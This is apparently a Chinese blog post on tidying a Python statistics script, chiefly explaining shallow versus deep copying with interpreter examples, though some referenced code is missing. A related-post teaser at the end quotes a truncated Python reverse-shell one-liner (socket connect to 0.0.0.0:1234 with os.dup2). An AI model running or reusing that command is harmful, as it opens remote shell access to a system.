對前一次python統計的優化

2021-08-31 05:35:27 字數 1338 閱讀 2686

前一次設計的檔案讀寫操作過多,每個檔案只讀取一次

用到了re模組,主要用來作正則匹配的,但是由於讀取檔案來做匹配,所以字串中會包含\n,所以re.s|re.m|re.l很重要,用來告之進行多行匹配

print list[0].cdn #["快網",「快網」]

print list[18].cdn #["快網",「快網」]

就像是cdn被共用了

因此需要用深拷貝將其拷貝出來再複製,這是大多數新人容易犯的錯誤(包括我)

#此處是蒐集到的理解深拷貝,前拷貝的兩個例子

結果:[[4, 4], [4, 4], [4, 4], [4, 4], [4, 4]]

[[0, 0], [1, 1], [2, 2], [3, 3], [4, 4]]

#另乙個例子

1. copy.copy 淺拷貝 只拷貝父物件,不會拷貝物件的內部的子物件。

2. copy.deepcopy 深拷貝 拷貝物件及其子物件

用乙個簡單的例子說明如下:

>>>import copy

>>>a = [1, 2, 3, 4, ['a', 'b', 'c']]

>>> b = a

>>> c = copy.copy(a)

>>> d = copy.deepcopy(a)

很容易理解:a是乙個列表,表內元素a[4]也是乙個列表(也就是乙個內部子物件);b是對a列表的又乙個引用,所以a、b是完全相同的,可以通過id(a)==id(b)證明。

第4行是淺拷貝,第五行是深拷貝,通過id(c)和id(d)可以發現他們不相同,且與id(a)都不相同:

>>> id(a)

19276104

>>> id(b)

19276104

>>> id(c)

19113304

>>> id(d)

19286976

至於如何看深/淺拷貝的區別,可以通過下面的操作來展現:

這時再檢視結果:

>>> a

[1, 2, 0, 4, ['a', 'b', 'c', 'hello'], 5]

>>> b

[1, 2, 0, 4, ['a', 'b', 'c', 'hello'], 5]

>>> c

[1, 2, 3, 4, ['a', 'b', 'c', 'hello']]

>>> d

[1, 2, 3, 4, ['a', 'b', 'c']]

可以發現a、b受了操作1、2的影響,c只受操作2影響,d不受影響。a、b結果相同很好理解。由於c是a的淺拷貝,只拷貝了父物件,因此a的子物件( ['a', 'b', 'c', 'hello'])改變時會影響到c;d是深拷貝,完全不受a的影響

一次批量操作的優化

最近在做賬務系統的批量核銷介面的優化,該介面的功能抽象來說就是暴露給另乙個系統,每次呼叫會進行計算並更新庫里的值 感覺好普通的樣子 假設我這邊的系統是r received 對方系統是s send 那麼現在的工作流程是這樣的 1.請求分充值請求和消費請求。充值請求是商戶維度的,而消費是訂單維度的。而商...

對udp dns的一次思考

目前昨天查乙個線上問題 dns伺服器在我們的裝置,有大量的終端到裝置上請求解析網域名稱,但是一直是單執行緒,dns報文處理不過來 然而裝置是多核,dns伺服器一直不能利用多核資源,所以能不能使用多執行緒進行處理呢?udp不像tcp那樣,udp沒有連線的概念,也就是沒有通過建立多個連線來提高對dns伺...

記一次對python反彈shell的分析

昨天學習了 shell,對python彈shell產生了一些疑惑 python c import socket,subprocess,os s socket.socket socket.af inet,socket.sock stream s.connect 0.0.0.0 1234 os.dup2...